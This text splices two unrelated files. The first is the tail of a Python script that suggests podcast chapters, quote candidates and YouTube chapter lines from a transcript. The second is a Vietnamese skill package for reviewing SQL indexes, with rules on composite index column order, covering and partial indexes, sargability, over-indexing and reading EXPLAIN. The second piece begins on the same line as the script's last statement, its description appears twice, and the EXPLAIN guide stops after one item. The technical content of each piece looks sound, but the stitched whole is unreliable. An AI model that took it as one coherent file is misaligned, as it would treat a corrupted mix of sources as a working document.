out = [b for b, c in bigrams.most_common(3) if c >= 2]
for w, _c in counts.most_common(12):
if len(out) >= n:
break
if not any(w in b.split() for b in out):
out.append(w)
return out[:n]
def similarity(a, b):
wa = {w.lower() for w in words(a) if w.lower() not in STOP and len(w) > 2}
wb = {w.lower() for w in words(b) if w.lower() not in STOP and len(w) > 2}
if not wa or not wb:
return 0.0
return len(wa & wb) / len(wa | wb)
def boundaries(units, min_gap, max_chapters, end_time):
"""Score each unit as a chapter start; return chosen indexes (always includes the first text unit)."""
scores = {}
for i, u in enumerate(units):
if u["kind"] == "heading":
scores[i] = 10.0
elif u["kind"] == "pause":
nxt = next((j for j in range(i + 1, len(units)) if units[j]["kind"] == "text"), None)
if nxt is not None:
scores[nxt] = max(scores.get(nxt, 0), 3.0)
elif u["kind"] == "text":
low = u["text"].lower()
cue = 4.0 if any(c in low[:160] for c in CUES) else 1.5 if any(c in low[:160] for c in ITEM_CUES) else 0.0
before = " ".join(x["text"] for x in units[max(0, i - 3):i] if x["kind"] == "text")
after = " ".join(x["text"] for x in units[i:i + 3] if x["kind"] == "text")
shift = 1.0 - similarity(before, after) if before and after else 0.0
score = shift * 2.0 + cue
if score > 1.6:
scores[i] = max(scores.get(i, 0), score)
first = next((i for i, u in enumerate(units) if u["kind"] in ("text", "heading")), 0)
chosen = [first]
for i in sorted(scores, key=lambda k: (-scores[k], k)):
if len(chosen) >= max_chapters:
break
t = units[i]["time"]
forced = units[i]["kind"] == "heading"
strong = forced or scores[i] >= 4.0 # heading or cue phrase
if end_time - t < (60 if strong else min_gap / 2) and not forced:
continue # too close to the end of the episode
if all(abs(t - units[c]["time"]) >= min_gap for c in chosen) or (forced and i not in chosen and
all(abs(t - units[c]["time"]) >= 10 for c in chosen)):
chosen.append(i)
return sorted(set(chosen)), scores
def sentences(text):
return [s.strip() for s in re.split(r"(?<=[.!?])\s+", text) if s.strip()]
def quote_candidates(units, n):
cands = []
for u in units:
if u["kind"] != "text":
continue
for s in sentences(u["text"]):
clean = re.sub(r"\s{2,}", " ", FILLER.sub("", s)).strip()
wc = len(clean.split())
if wc < 8 or wc > 40 or clean.endswith("?"):
continue
score = 0.0
score += 2.0 if 12 <= wc <= 28 else 0.5
score += 1.5 * len(QUOTE_WORDS.findall(clean))
score += 1.0 if re.search(r"\b\d+(?:[.,]\d+)?\s*(%|percent|x|times|years|hours|days)\b", clean, re.I) else 0
score += 0.5 if re.search(r"\b(I|we)\b", clean) else 0
score -= 1.0 if FILLER.search(s) else 0
score -= 3.0 if INTRO.search(clean) else 0
cands.append({"time": u["time"], "speaker": u["speaker"], "text": clean, "score": round(score, 1),
"edited": clean != s})
cands.sort(key=lambda c: (-c["score"], c["time"]))
out, seen = [], set()
for c in cands:
key = c["text"][:40].lower()
if key in seen:
continue
seen.add(key)
out.append(c)
if len(out) >= n:
break
return sorted(out, key=lambda c: c["time"])
def build(units, chosen, end_time):
chapters = []
for k, start in enumerate(chosen):
stop = chosen[k + 1] if k + 1 < len(chosen) else len(units)
seg = units[start:stop]
text = " ".join(u["text"] for u in seg if u["kind"] == "text")
heading = next((u["text"] for u in seg[:1] if u["kind"] == "heading"), None)
t0 = units[start]["time"]
t1 = units[stop]["time"] if stop < len(units) else end_time
speakers = Counter(u["speaker"] for u in seg if u["speaker"])
first = sentences(text)[:1]
chapters.append({
"n": k + 1, "start": round(t0), "start_hms": fmt(t0), "end": round(t1), "minutes": round((t1 - t0) / 60, 1),
"estimated_time": any(u.get("estimated") for u in seg[:1]),
"source": "heading" if heading else "detected",
"title_draft": heading or " / ".join(keywords(text)).title() or "(untitled)",
"keywords": keywords(text, 6), "words": len(words(text)),
"speakers": [s for s, _ in speakers.most_common()],
"opening_line": first[0][:160] if first else "",
})
return chapters
def youtube_lines(chapters):
lines, problems = [], []
if chapters and chapters[0]["start"] != 0:
problems.append("YouTube needs the first chapter at 00:00; the first one was moved to 00:00")
for c in chapters:
start = 0 if c is chapters[0] else c["start"]
lines.append(f"{fmt(start, force_hours=chapters[-1]['start'] >= 3600)} {c['title_draft']}")
if len(chapters) < 3:
problems.append("YouTube shows chapters only with at least 3 of them")
short = [c["n"] for c in chapters if c["minutes"] * 60 < 10]
if short:
problems.append(f"chapters {short} are shorter than 10 seconds (YouTube minimum)")
return lines, problems
def parse_args(argv):
opts = {"file": None, "min_chapter": 4.0, "max_chapters": 12, "wpm": 150.0, "offset": 0.0, "quotes": 6,
"format": "text", "duration": None}
numeric = {"--min-chapter": ("min_chapter", float), "--max-chapters": ("max_chapters", int),
"--wpm": ("wpm", float), "--offset": ("offset", float), "--quotes": ("quotes", int)}
i = 0
while i < len(argv):
a = argv[i]
if a in ("-h", "--help"):
print(__doc__)
sys.exit(0)
if a in numeric or a in ("--format", "--duration"):
if i + 1 >= len(argv):
raise UsageError(f"{a} needs a value")
v = argv[i + 1]
if a == "--format":
if v not in ("text", "json", "youtube"):
raise UsageError("--format must be text, json, or youtube")
opts["format"] = v
elif a == "--duration":
if not re.fullmatch(r"(?:\d{1,2}:)?\d{1,2}:\d{2}", v):
raise UsageError("--duration must look like 52:30 or 1:05:00")
opts["duration"] = to_sec(v)
else:
key, typ = numeric[a]
try:
opts[key] = typ(v)
except ValueError:
raise UsageError(f"{a} needs a number, got {v!r}")
if opts[key] < 0 or (key in ("wpm", "max_chapters") and opts[key] == 0):
raise UsageError(f"{a} must be positive")
i += 2
elif a.startswith("--"):
raise UsageError(f"unknown option {a}")
elif opts["file"] is None:
opts["file"] = a
i += 1
else:
raise UsageError(f"unexpected argument {a!r}")
if opts["file"] is None:
raise UsageError("give a transcript file, or - for stdin")
return opts
def main(argv):
try:
opts = parse_args(argv)
if opts["file"] == "-":
text = sys.stdin.read()
else:
with open(opts["file"], encoding="utf-8") as f:
text = f.read()
except UsageError as e:
print(f"error: {e}", file=sys.stderr)
return 2
except (OSError, UnicodeDecodeError) as e:
print(f"error: cannot read {opts['file']}: {getattr(e, 'strerror', None) or e}", file=sys.stderr)
return 2
units = parse(text)
total_words = sum(len(words(u["text"])) for u in units if u["kind"] == "text")
if total_words < 50:
print(f"error: only {total_words} words of transcript; need at least 50 to suggest chapters", file=sys.stderr)
return 1
timed = assign_times(units, opts["wpm"], opts["offset"])
last = units[-1]
end_time = last["time"] + (len(words(last["text"])) / opts["wpm"] * 60 if last["kind"] == "text" else 0)
end_time = max(end_time, LAST_CUE_END[0] + opts["offset"] if LAST_CUE_END[0] else 0)
if opts["duration"]:
end_time = max(end_time, opts["duration"])
EXTRA_STOP.update(w.lower() for u in units if u["speaker"] for w in u["speaker"].split())
chosen, _scores = boundaries(units, opts["min_chapter"] * 60, opts["max_chapters"], end_time)
chapters = build(units, chosen, end_time)
quotes = quote_candidates(units, opts["quotes"])
speakers = Counter(u["speaker"] for u in units if u["speaker"])
notes = []
if not timed:
notes.append(f"no timestamps found: times are estimates at {opts['wpm']:g} words per minute; replace them "
"with real times from the audio editor before publishing")
if opts["duration"] and opts["duration"] < end_time - 30 and timed:
notes.append("the transcript runs past --duration; check the timestamps or the offset")
markers = [{"time": round(u["time"]), "time_hms": fmt(u["time"]), "marker": u["text"]}
for u in units if u["kind"] == "pause"]
yt_lines, yt_problems = youtube_lines(chapters)
report = {"markers": markers, "words": total_words, "timestamps": "found" if timed else "estimated", "end": round(end_time),
"end_hms": fmt(end_time), "speakers": dict(speakers.most_common()), "chapters": chapters,
"quotes": quotes, "youtube": yt_lines, "youtube_problems": yt_problems, "notes": notes}
if opts["format"] == "json":
print(json.dumps(report, indent=2, ensure_ascii=False))
return 0
if opts["format"] == "youtube":
print("\n".join(yt_lines))
for p in yt_problems + notes:
print(f"# note: {p}")
return 0
spk = ", ".join(f"{s} ({c} turns)" for s, c in speakers.most_common()) or "not labeled"
print(f"Transcript: {total_words} words, about {fmt(end_time)} long, timestamps {report['timestamps']}, "
f"speakers: {spk}")
print(f"\nChapter candidates ({len(chapters)}, min {opts['min_chapter']:g} min apart):")
for c in chapters:
est = "~" if c["estimated_time"] else " "
print(f" {c['n']:>2}. {est}{c['start_hms']:>8} {c['minutes']:>5.1f} min [{c['source']}] {c['title_draft']}")
print(f" keywords: {', '.join(c['keywords']) or '-'}")
if c["opening_line"]:
print(f" opens: \"{c['opening_line']}\"")
if markers:
print("\nMarkers (breaks, music, ads): " + ", ".join(f"{m['time_hms']} {m['marker']}" for m in markers))
print(f"\nQuote candidates ({len(quotes)}):")
for q in quotes:
who = f"{q['speaker']}: " if q["speaker"] else ""
edited = " (fillers removed, check against audio)" if q["edited"] else ""
print(f" {fmt(q['time']):>8} {who}\"{q['text']}\"{edited}")
print("\nYouTube chapter lines:")
for line in yt_lines:
print(f" {line}")
for p in yt_problems + notes:
print(f"note: {p}")
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))Đánh giá lược đồ (schema) và các truy vấn SQL chạy chậm, đề xuất các chỉ mục phức hợp (composite indexes) theo đúng thứ tự cột (so sánh bằng, sắp xếp, khoảng giá trị) kèm các cột bao phủ (covering columns) và sự đánh đổi hiệu năng, gắn cờ các bộ lọc không thể tận dụng chỉ mục (non-sargable) như dùng hàm trên cột hoặc LIKE có ký tự đại diện ở đầu, đồng thời cảnh báo về các chỉ mục trùng lặp, dư thừa và có độ chọn lọc thấp. Sử dụng khi người dùng chia sẻ một truy vấn chậm, kết quả EXPLAIN, hoặc schema và hỏi "tôi cần chỉ mục nào?" hoặc "có quá nhiều chỉ mục không?". Bao gồm công cụ hỗ trợ bằng thư viện chuẩn Python đã được kiểm thử.
---
name: sql-index-recommendation-reviewer
description: Đánh giá lược đồ (schema) và các truy vấn SQL chạy chậm, đề xuất các chỉ mục phức hợp (composite indexes) theo đúng thứ tự cột (so sánh bằng, sắp xếp, khoảng giá trị) kèm các cột bao phủ (covering columns) và sự đánh đổi hiệu năng, gắn cờ các bộ lọc không thể tận dụng chỉ mục (non-sargable) như dùng hàm trên cột hoặc LIKE có ký tự đại diện ở đầu, đồng thời cảnh báo về các chỉ mục trùng lặp, dư thừa và có độ chọn lọc thấp. Sử dụng khi người dùng chia sẻ một truy vấn chậm, kết quả EXPLAIN, hoặc schema và hỏi "tôi cần chỉ mục nào?" hoặc "có quá nhiều chỉ mục không?". Bao gồm công cụ hỗ trợ bằng thư viện chuẩn Python đã được kiểm thử.
---
# Trình Đánh Giá và Khuyến Nghị Chỉ Mục SQL (SQL Index)
Bạn giúp các lập trình viên tăng tốc các truy vấn chậm mà không làm bảng dữ liệu bị quá tải bởi hàng tá chỉ mục (index). Bạn đọc schema và truy vấn theo đúng tư duy của một kỹ sư cơ sở dữ liệu: cột nào được so sánh bằng (equality), cột nào lọc theo khoảng giá trị (range), truy vấn sắp xếp theo cột nào, kết nối (join) trên cột nào, và những chỉ mục nào đã tồn tại sẵn. Bạn đề xuất tập hợp chỉ mục nhỏ gọn nhất đáp ứng được tải công việc (workload) theo đúng thứ tự cột, và luôn thẳng thắn rằng chỉ có lệnh EXPLAIN chạy trên dữ liệu thực tế mới có thể kiểm chứng chắc chắn kết quả.
## Các tệp trong kỹ năng này
- `scripts/suggest_indexes.py` - phân tích cú pháp các câu lệnh CREATE TABLE / CREATE INDEX và các truy vấn SELECT, UPDATE, DELETE (tách riêng các truy vấn con subquery và phần thân CTE), sau đó in ra các chỉ mục ứng viên kèm mã DDL, các truy vấn mà mỗi chỉ mục phục vụ, các cột bao phủ (covering columns), sự chồng chéo và các phát hiện trên schema (chỉ dùng thư viện chuẩn Python 3; không kết nối cơ sở dữ liệu)
- `references/indexing-rules.md` - quy tắc về thứ tự cột, chỉ mục bao phủ (covering indexes), chỉ mục từng phần (partial) và chỉ mục biểu thức (expression), tính chất sargable (khả năng tận dụng chỉ mục), cùng các quy tắc tránh đánh chỉ mục quá mức
- `references/explain-reading-guide.md` - hướng dẫn cách đọc kết quả EXPLAIN trong PostgreSQL, MySQL và SQLite để xác nhận hoặc bác bỏ một đề xuất
- `templates/index-review.md` - mẫu báo cáo đánh giá trả về cho người dùng
- `examples/example-shop-orders-review.md` - ví dụ thực tế đánh giá các truy vấn chậm của một cửa hàng trực tuyến
## Quy trình làm việc
### 1. Thu thập thông tin
Hỏi người dùng, hoặc tự giả định và nêu rõ điều đó:
- Hệ quản trị cơ sở dữ liệu và phiên bản (PostgreSQL, MySQL/MariaDB, SQLite, SQL Server), cùng với schema và các chỉ mục hiện có (`\d table`, `SHOW CREATE TABLE`, hoặc các tệp migration).
- Các truy vấn chậm nguyên bản như khi ứng dụng gửi đi, kèm theo các giá trị tham số điển hình, tần suất chạy của mỗi truy vấn và mức độ chậm thực tế.
- Kích thước bảng (số dòng), tần suất ghi (write-heavy) của mỗi bảng, và bất kỳ kết quả EXPLAIN hoặc EXPLAIN ANALYZE nào hiện có.
- Các ràng buộc vận hành: nhóm có thể tạo chỉ mục trực tuyến (online) không, dung lượng ổ cứng còn trống và những lo ngại về độ trễ sao chép dữ liệu (replication lag).
### 2. Chạy công cụ hỗ trợ
```bash
python3 scripts/suggest_indexes.py --schema schema.sql slow-queries.sql
python3 scripts/suggest_indexes.py all-in-one.sql --dialect mysql
python3 scripts/suggest_indexes.py --schema schema.sql - --json < query.sql
python3 scripts/suggest_indexes.py --schema schema.sql queries.sql --strict # exit 1 on non-sargable filters or duplicate indexes
```
Công cụ hỗ trợ này là một trình phân tích cú pháp dựa trên quy tắc ước lượng (heuristic parser), không phải bộ lập kế hoạch truy vấn (query planner): nó không biết số lượng dòng, phân phối dữ liệu hay kế hoạch thực thi mà cơ sở dữ liệu sẽ chọn. Nó có thể bỏ sót các điều kiện lọc (predicates) trong câu SQL phức tạp (và sẽ liệt kê chúng vào mục "not understood" - chưa hiểu được). Hãy tự mình đọc kỹ từng truy vấn và coi mỗi gợi ý từ công cụ là một ứng viên cần kiểm chứng. Nếu bạn không thể chạy script, hãy áp dụng thủ công các quy tắc trong `references/indexing-rules.md` theo đúng trình tự tương tự.
### 3. Ra quyết định
1. Sửa lại câu truy vấn trước khi thêm chỉ mục: viết lại các bộ lọc không thể tận dụng chỉ mục (non-sargable filters — như gọi hàm trên cột, phép tính số học trên cột, toán tử LIKE có ký tự đại diện `%` ở đầu, phép OR giữa nhiều cột khác nhau) để cơ sở dữ liệu có thể sử dụng được chỉ mục.
2. Đối với mỗi truy vấn, hãy chọn thứ tự cột: các cột so sánh bằng (ưu tiên cột có độ chọn lọc cao nhất lên trước khi bạn biết rõ điều đó), tiếp theo là các cột trong ORDER BY hoặc GROUP BY nếu truy vấn có sắp xếp đi kèm LIMIT, sau cùng là một cột lọc theo khoảng giá trị (range).
3. Hợp nhất chỉ mục: một chỉ mục phức hợp (composite index) có thể phục vụ nhiều truy vấn cùng lúc khi chúng dùng chung các cột ngoài cùng bên trái (leftmost columns). Ưu tiên mở rộng một chỉ mục sẵn có hơn là tạo thêm chỉ mục mới.
4. Chỉ thêm các cột bao phủ (INCLUDE / covering columns) cho các truy vấn chạy cực kỳ thường xuyên (hot) và thiên về đọc dữ liệu (read-heavy), đồng thời giữ số lượng cột này ở mức tối thiểu.
5. Dọn dẹp trước khi thêm mới: xóa bỏ các chỉ mục bị trùng lặp hoàn toàn và các chỉ mục tiền tố dư thừa (redundant-prefix indexes) sau khi đã kiểm tra thống kê tần suất sử dụng (`pg_stat_user_indexes`, `sys.schema_unused_indexes`).
6. Tính toán chi phí đánh đổi: mỗi chỉ mục thêm vào đều làm chậm thao tác INSERT và UPDATE trên các cột của nó, đồng thời tiêu tốn dung lượng ổ cứng và bộ nhớ RAM. Những bảng có tần suất ghi cao (write-heavy) nên có ít chỉ mục hơn và ưu tiên các chỉ mục đa dụng.
### 4. Bàn giao kết quả
Điền đầy đủ vào mẫu `templates/index-review.md`: chẩn đoán từng truy vấn, mã lệnh DDL khuyến nghị theo đúng thứ tự khởi tạo kèm danh sách các truy vấn mà mỗi chỉ mục phục vụ, các chỉ mục cần xóa bỏ, cách viết lại truy vấn, những sự đánh đổi (tradeoffs), và hướng dẫn cách kiểm chứng bằng lệnh EXPLAIN trước và sau khi áp dụng (xem `references/explain-reading-guide.md`). Tuân theo văn phong trình bày của `examples/example-shop-orders-review.md`.
## Quy tắc
- Không bao giờ tuyên bố truy vấn sẽ nhanh hơn bao nhiêu lần mà không chỉ rõ cách đo lường; hãy nêu những thay đổi dự kiến trong kế hoạch thực thi ("chuyển sang quét chỉ mục index scan thay vì quét tuần tự sequential scan và sắp xếp sort"), tuyệt đối không tự bịa ra các con số thời gian chạy.
- Sử dụng các lệnh tạo chỉ mục an toàn cho môi trường production: `CREATE INDEX CONCURRENTLY` trong PostgreSQL, tạo DDL trực tuyến (`ALGORITHM=INPLACE, LOCK=NONE`) trong MySQL, và lên lịch khung giờ bảo trì (maintenance window) đối với SQLite.
- Không khuyến nghị tạo chỉ mục đơn lẻ trên một cột có độ chọn lọc thấp (như cột trạng thái status, cột boolean); hãy đưa cột đó vào bên trong một chỉ mục phức hợp hoặc dùng làm điều kiện cho chỉ mục từng phần (partial index).
- Giữ nguyên các khóa chính (primary keys) và ràng buộc duy nhất (unique constraints); không bao giờ đề xuất xóa chúng đi để giảm "sự dư thừa".
- Nhắn người dùng tạo từng chỉ mục một và đối chiếu kế hoạch thực thi (execution plans), đồng thời gỡ bỏ bất kỳ chỉ mục nào mà lệnh EXPLAIN không bao giờ sử dụng tới.
FILE:references/indexing-rules.md
# Các quy tắc đánh chỉ mục (Indexing rules)
Dưới đây là những quy tắc mà công cụ hỗ trợ áp dụng, cùng với những đánh giá chuyên môn mà công cụ không thể tự quyết định thay con người. Các ví dụ sử dụng cú pháp PostgreSQL trừ khi có ghi chú khác.
## 1. Thứ tự cột trong chỉ mục phức hợp (composite index)
Một chỉ mục B-tree được sắp xếp theo cột đầu tiên của nó, sau đó đến cột thứ hai, và cứ tiếp tục như vậy. Một câu truy vấn có thể tìm kiếm nhảy cóc (seek) trên một chuỗi các cột liên tiếp tính từ ngoài cùng bên trái được so sánh bằng (equality), sau đó sử dụng thêm một cột tiếp theo cho điều kiện khoảng (range) hoặc cho việc sắp xếp (sorting).
Thứ tự chuẩn: **các cột so sánh bằng (equality columns), tiếp đến là các cột sắp xếp (sort columns), rồi đến một cột khoảng giá trị (range column)**.
```sql
-- WHERE customer_id = ? AND status = 'paid' ORDER BY created_at DESC LIMIT 20
CREATE INDEX ON orders (customer_id, status, created_at);
```
- Giữa các cột cùng dùng phép so sánh bằng, hãy đặt cột được sử dụng bởi nhiều truy vấn nhất lên đầu tiên để chỉ mục đó phục vụ được tất cả các truy vấn này; độ chọn lọc (selectivity) ít quan trọng hơn khả năng tái sử dụng một khi tất cả các cột đó đều là phép so sánh bằng.
- Đằng sau một cột lọc theo khoảng giá trị (`>`, `<`, `BETWEEN`, `LIKE 'abc%'`), các cột đứng sau nó không thể được dùng để tìm kiếm định vị (seeking) nữa, mà chỉ có thể dùng để lọc tuần tự ngay bên trong chỉ mục.
- Thao tác sắp xếp (sort) chỉ có thể tận dụng chỉ mục nếu mọi cột trong mệnh đề ORDER BY đều nằm trong chỉ mục theo đúng thứ tự đó và có chiều sắp xếp giống hệt nhau (hoặc đảo ngược hoàn toàn tất cả). Nếu chiều sắp xếp hỗn hợp (tăng giảm đan xen), cần phải định nghĩa chỉ mục khớp đúng theo chiều đó (`created_at DESC, id ASC`).
- Khi vừa có điều kiện khoảng giá trị vừa có mệnh đề ORDER BY trên một cột khác, cơ sở dữ liệu buộc phải lựa chọn: hoặc tìm kiếm theo khoảng giá trị rồi mới đem đi sắp xếp, hoặc duyệt theo thứ tự đã sắp xếp sẵn của chỉ mục rồi lọc dần. Khi đi kèm với LIMIT, phương án duyệt theo thứ tự sắp xếp sẵn thường chiến thắng.
## 2. Tiền tố ngoài cùng bên trái (Leftmost prefix) và việc hợp nhất chỉ mục
Một chỉ mục trên `(a, b, c)` phục vụ được các truy vấn lọc trên `a`, trên `a, b`, và trên `a, b, c`, nhưng không phục vụ được truy vấn chỉ lọc riêng trên `b` hoặc `c`. Hai chỉ mục ứng viên mà trong đó một cái là tiền tố ngoài cùng bên trái của cái kia thì nên được gộp lại thành một chỉ mục duy nhất. Một chỉ mục hiện có trên `(a)` sẽ trở nên dư thừa một khi đã có chỉ mục `(a, b)`, trừ phi chỉ mục `(a)` đó có ràng buộc duy nhất (unique), là chỉ mục từng phần (partial), hoặc có kích thước nhỏ hơn hẳn và được truy cập cực kỳ thường xuyên.
## 3. Phép nối (Joins) và khóa ngoại (Foreign keys)
- Hãy đánh chỉ mục trên cột thuộc về phía bảng được tra cứu: thông thường chính là cột khóa ngoại (`orders.customer_id`). Phía khóa chính vốn dĩ đã được đánh chỉ mục sẵn.
- PostgreSQL không tự động đánh chỉ mục cho các khóa ngoại (trong khi MySQL InnoDB thì có). Việc thiếu chỉ mục khóa ngoại cũng khiến thao tác xóa (DELETE) trên bảng cha bị chậm đi đáng kể.
- Cột dùng để join cộng với các điều kiện lọc riêng của chính bảng đó có thể kết hợp lại thành một chỉ mục phức hợp: `(customer_id, created_at)`.
## 4. Chỉ mục bao phủ (Covering indexes)
Nếu chỉ mục đã lưu giữ toàn bộ mọi cột mà câu truy vấn cần đọc, cơ sở dữ liệu có thể bỏ qua bước đọc bảng chính (quét chỉ mục thuần túy — index-only scan).
- PostgreSQL 11+ và SQL Server: dùng mệnh đề `INCLUDE (col, ...)` để đính kèm thêm các cột phụ vào trang lá của chỉ mục mà không cần sắp xếp theo chúng.
- MySQL và SQLite: nối thêm các cột đó vào cuối phần khóa chỉ mục; các chỉ mục phụ (secondary indexes) của InnoDB vốn đã tự động đính kèm khóa chính bên trong.
- Chỉ nên áp dụng cho các truy vấn chạy liên tục, chủ yếu là đọc dữ liệu và chỉ lấy ra một vài cột. Các chỉ mục bao phủ quá rộng sẽ chiếm nhiều dung lượng và làm chậm tốc độ ghi.
- Quá trình quét chỉ mục thuần túy (index-only scan) trên PostgreSQL cũng đòi hỏi bảng dữ liệu phải được dọn dẹp (`VACUUM`) thường xuyên để cập nhật bản đồ hiển thị (visibility map).
## 5. Chỉ mục từng phần (Partial) và chỉ mục biểu thức (Expression)
- Chỉ mục từng phần (PostgreSQL, SQLite; tương đương filtered index trong SQL Server): `CREATE INDEX ON orders (created_at) WHERE status = 'paid' AND shipped_at IS NULL;` Cực kỳ nhỏ gọn và nhanh chóng khi điều kiện WHERE chỉ khớp với một tỷ lệ nhỏ các dòng dữ liệu. Lưu ý câu truy vấn bắt buộc phải lặp lại chính xác điều kiện lọc đó thì mới kích hoạt được chỉ mục.
- Biểu thức (Expression): `CREATE INDEX ON users (lower(email));` phục vụ điều kiện `WHERE lower(email) = ?`. MySQL 8 hỗ trợ chỉ mục hàm (functional index) `((lower(email)))` hoặc tạo một cột sinh tự động (generated column) kèm chỉ mục.
## 6. Khả năng tận dụng chỉ mục (Sargability): những bộ lọc mà chỉ mục không thể sử dụng
| Khuôn mẫu | Vấn đề | Cách khắc phục |
|---|---|---|
| `WHERE date(created_at) = '2026-10-12'` | gọi hàm trên cột | `created_at >= '2026-10-12' AND created_at < '2026-10-13'` |
| `WHERE YEAR(updated_at) = 2026` | gọi hàm trên cột | lọc theo khoảng giá trị trên cột |
| `WHERE price * 1.2 > 100` | phép tính số học trên cột | `price > 100 / 1.2` |
| `WHERE name LIKE '%lamp%'` | ký tự đại diện (wildcard) ở đầu | tìm kiếm toàn văn (full-text search), hoặc chỉ mục GIN `pg_trgm` |
| `WHERE lower(name) = ?` | gọi hàm | chỉ mục biểu thức trên `lower(name)` hoặc dùng bảng đối chiếu không phân biệt hoa thường (case-insensitive collation) |
| `WHERE a = 1 OR b = 2` | dùng OR giữa các cột khác nhau | `UNION` hai câu truy vấn có chỉ mục, hoặc tạo một chỉ mục cho mỗi cột (bitmap OR trong PostgreSQL) |
| `WHERE status <> 'done'`, `NOT IN` | bộ lọc phủ định | dùng danh sách khẳng định `IN (...)` hoặc chỉ mục một phần (partial index) |
| `WHERE id = '42'` trên cột số nguyên | ép kiểu ngầm định (MySQL có thể bỏ qua chỉ mục trên các cột chuỗi khi đem so sánh với số) | so sánh đúng kiểu dữ liệu |
## 7. Đánh chỉ mục quá mức (Over-indexing)
- Mỗi chỉ mục đều phải cập nhật khi thực hiện INSERT, DELETE và khi UPDATE các cột của nó; ngoài ra nó còn tiêu tốn dung lượng ổ đĩa, bộ nhớ (buffer cache), cũng như băng thông sao lưu và nhân bản dữ liệu (replication).
- Các chỉ mục trùng lặp (cùng danh sách cột, cùng điều kiện) hoàn toàn chỉ gây tốn kém chi phí: hãy xóa bớt một cái.
- Chỉ mục đơn cột trên các cột có độ chọn lọc thấp (boolean, status, type) hiếm khi được sử dụng; bộ lập kế hoạch (planner) thường ưu tiên quét bảng khi một giá trị khớp với hơn khoảng 5 đến 20 phần trăm số dòng. Hãy đưa chúng vào trong các chỉ mục phức hợp (composite index) hoặc dùng làm điều kiện cho chỉ mục một phần (partial index).
- Theo kinh nghiệm thực tế, nếu một bảng có tần suất ghi cao mà có trên 5 hoặc 6 chỉ mục thì cần được rà soát lại; các bảng chủ yếu phục vụ đọc có thể chịu được nhiều chỉ mục hơn.
- Tìm các chỉ mục không được sử dụng trước khi xóa: trên PostgreSQL kiểm tra `pg_stat_user_indexes.idx_scan = 0` (kể từ lần đặt lại thống kê gần nhất, trên tất cả các máy chủ replica), trên MySQL kiểm tra `sys.schema_unused_indexes`. Xóa bằng lệnh `DROP INDEX CONCURRENTLY` trong PostgreSQL.
## 8. Xây dựng chỉ mục an toàn
- PostgreSQL: `CREATE INDEX CONCURRENTLY` giúp tránh chặn các thao tác ghi; lệnh này không thể chạy bên trong một giao dịch (transaction) và sẽ để lại một chỉ mục ở trạng thái INVALID nếu thất bại (hãy xóa đi và thử lại).
- MySQL 8: `ALTER TABLE ... ADD INDEX ..., ALGORITHM=INPLACE, LOCK=NONE`; cần theo dõi độ trễ nhân bản (replication lag) trên các bảng lớn.
- SQLite: quá trình tạo chỉ mục sẽ khóa cơ sở dữ liệu; hãy chạy vào thời điểm ít lưu lượng truy cập.
- Tạo từng chỉ mục một, kiểm tra kế hoạch thực thi, rồi mới tiếp tục với chỉ mục tiếp theo.
FILE:references/explain-reading-guide.md
# Đọc EXPLAIN để xác nhận hiệu quả chỉ mục
Luôn so sánh kế hoạch thực thi trước và sau khi thay đổi, trên dữ liệu tương tự môi trường production và với các giá trị tham số thực tế. Các bảng kiểm thử quy mô nhỏ sẽ khiến bộ lập kế hoạch chọn phương án quét bảng vốn chỉ phù hợp cho bảng nhỏ.
## PostgreSQL
```sql
EXPLAIN (ANALYZE, BUFFERS) SELECT ...; -- runs the query; wrap writes in BEGIN ... ROLLBACK
```
| Nút kế hoạch (Plan node) | Ý nghĩa |
|---|---|
| Seq Scan | đọc toàn bộ bảng; ổn đối với bảng nhỏ hoặc khi phần lớn số dòng đều khớp điều kiện |
| Index Scan | tra cứu chỉ mục, sau đó đọc các dòng tương ứng trong bảng |
| Index Only Scan | trả kết quả trực tiếp từ chỉ mục; hãy kiểm tra chỉ số "Heap Fetches" xem có thấp không (nếu không thấp hãy chạy vacuum) |
| Bitmap Index Scan + Bitmap Heap Scan | thu thập nhiều kết quả khớp, sau đó đọc các trang dữ liệu theo thứ tự; phổ biến với độ chọn lọc trung bình và điều kiện OR |
| Sort (kèm "external merge") | quá trình sắp xếp bị tràn ra ổ đĩa; một chỉ mục theo đúng thứ tự ORDER BY có thể loại bỏ bước này |
| Rows Removed by Filter | số dòng đã đọc lên nhưng bị loại bỏ; con số này cao nghĩa là chỉ mục chưa bao phủ được bộ lọc |
Hãy chú ý đến: thời gian thực tế (actual time) của nút trên cùng, số dòng ước tính so với thực tế (chênh lệch gấp 10 lần nghĩa là thống kê đã cũ: hãy chạy `ANALYZE table`), và các chỉ số bộ đệm shared hit/read buffers. Xác nhận chỉ mục mới thực sự được sử dụng thông qua `pg_stat_user_indexes.idx_scan` sau một ngày có lưu lượng truy cập thực tế.
## MySQL 8
```sql
EXPLAIN FORMAT=TREE SELECT ...;
EXPLAIN ANALYZE SELECT ...; -- 8.0.18+, runs the query
```
Trong đầu ra `EXPLAIN` truyền thống, hãy kiểm tra: `type` (ALL = quét toàn bộ bảng, ref/eq_ref/range = có dùng chỉ mục, index = quét toàn bộ chỉ mục), `key` (chỉ mục được chọn), `rows` (ước tính), và `Extra` ("Using index" = chỉ mục bao phủ, "Using filesort" = phát sinh bước sắp xếp phụ, "Using temporary" = dùng bảng tạm cho GROUP BY hoặc DISTINCT). Làm mới thống kê bằng lệnh `ANALYZE TABLE t`.
## SQLite
```sql
EXPLAIN QUERY PLAN SELECT ...;
```
"SCAN t" là quét toàn bộ bảng; "SEARCH t USING INDEX idx (a=? AND b>?)" cho biết những cột nào được dùng để tra cứu; "USING COVERING INDEX" nghĩa là không cần truy cập vào bảng dữ liệu; "USE TEMP B-TREE FOR ORDER BY" nghĩa là phát sinh thêm bước sắp xếp. Hãy chạy `ANALYZE;` để bộ lập kế hoạch có dữ liệu thống kê.
## Dấu hiệu của sự thành công
- Kế hoạch thực thi của câu truy vấn chậm chuyển từ quét toàn bộ bảng kèm sắp xếp sang quét chỉ mục (hoặc chỉ quét chỉ mục - index only scan) mà không cần sắp xếp, đồng thời số dòng phải đọc giảm xuống gần bằng số dòng trả về.
- Các thao tác ghi trên bảng không bị chậm đi đáng kể (hãy kiểm tra độ trễ p95 của thao tác insert và update sau khi triển khai).
- Không có câu truy vấn quan trọng nào khác bị đổi sang kế hoạch thực thi tệ hơn; hãy chạy tập các truy vấn chiếm nhiều tổng thời gian nhất (`pg_stat_statements`, các bảng digest trong performance schema của MySQL) trước và sau khi thay đổi.
## Khi chỉ mục không được sử dụng
1. Thống kê đã cũ: hãy chạy ANALYZE.
